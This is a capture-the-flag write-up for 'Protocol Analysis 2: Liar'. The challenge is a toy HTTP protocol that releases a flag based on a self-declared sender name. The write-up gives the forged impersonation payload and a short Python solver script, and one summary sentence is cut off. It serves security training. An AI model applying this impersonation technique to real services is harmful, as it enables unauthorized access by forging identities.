← Back to Writeups
CUSTOMEasyForensics

Protocol Analysis 2: Liar

XESXOR9/10/20262 min read
#forensics#custom#easy#protocol_replay#sender_impersonation#unauthenticated_protocol_abuse

Protocol Analysis 2: Liar

Platform: CUSTOM | Category: Forensics | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: protocol_replay, sender_impersonation, unauthenticated_protocol_abuse

Summary

Walkthrough of the CUSTOM Forensics Protocol Analysis 2: Liar. Task: a PDF-defined HTTP POST protocol has Bob release the flag if he receives a specific plaintext sequence ending with the sender name charlie. Solution: create a fresh model 2 session, impersonate

Description

All protocol messages are HTTP POST requests to https://protocols.live.

Alice sends: "Hello", B, "this is", A, "give me the flag"

Bob expects to recv: "Hello", B, "this is", C, "give me the flag"

Bob then sends: "here it is", [FLAG]

English summary: the challenge gives a scripted message flow for a live HTTP-based protocol. Bob releases the flag if he receives the right plaintext sequence and the sender name is charlie, but the protocol never authenticates who actually sent the request.

Analysis

The key flaw is trust in a user-controlled identity field. Alice's scripted request uses n:alice, while Bob's acceptance logic expects the same message except for n:charlie.

Because every protocol action is just an HTTP POST to https://protocols.live, the attacker can submit arbitrary content directly to Bob. There is no signature, shared secret, session binding to a real participant, or any other proof that the sender is actually Charlie. Bob only checks the plaintext fields, so impersonation is enough.

The winning payload is:

text
t:Hello|n:bob|t:this is|n:charlie|t:give me the flag

Submitting that to /bob in a fresh /model/2 session returns:

json
{"content":"t:here it is|t:DawgCTF{REDACTED}"}

Solution

  1. Start a new challenge instance with POST /model/2.
  2. Record the returned conn_id.
  3. Send the forged content t:Hello|n:bob|t:this is|n:charlie|t:give me the flag to POST /bob.
  4. Read Bob's response and extract the flag from the returned plaintext field.

Minimal solver:

python
#!/usr/bin/env python3

import requests

BASE = "https://protocols.live"
PAYLOAD = "t:Hello|n:bob|t:this is|n:charlie|t:give me the flag"


def main():
    session = requests.Session()

    create = session.post(f"{BASE}/model/2")
    create.raise_for_status()
    conn_id = create.json()["conn_id"]

    resp = session.post(
        f"{BASE}/bob",
        json={"conn_id": conn_id, "content": PAYLOAD},
    )
    resp.raise_for_status()

    print(resp.json()["content"])


if __name__ == "__main__":
    main()

Example output:

text
t:here it is|t:DawgCTF{REDACTED}

Key Takeaways / Lessons

  • Mastering protocol_replay, sender_impersonation, unauthenticated_protocol_abuse was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-10 • CUSTOM • Protocol Analysis 2: Liar • Difficulty: Easy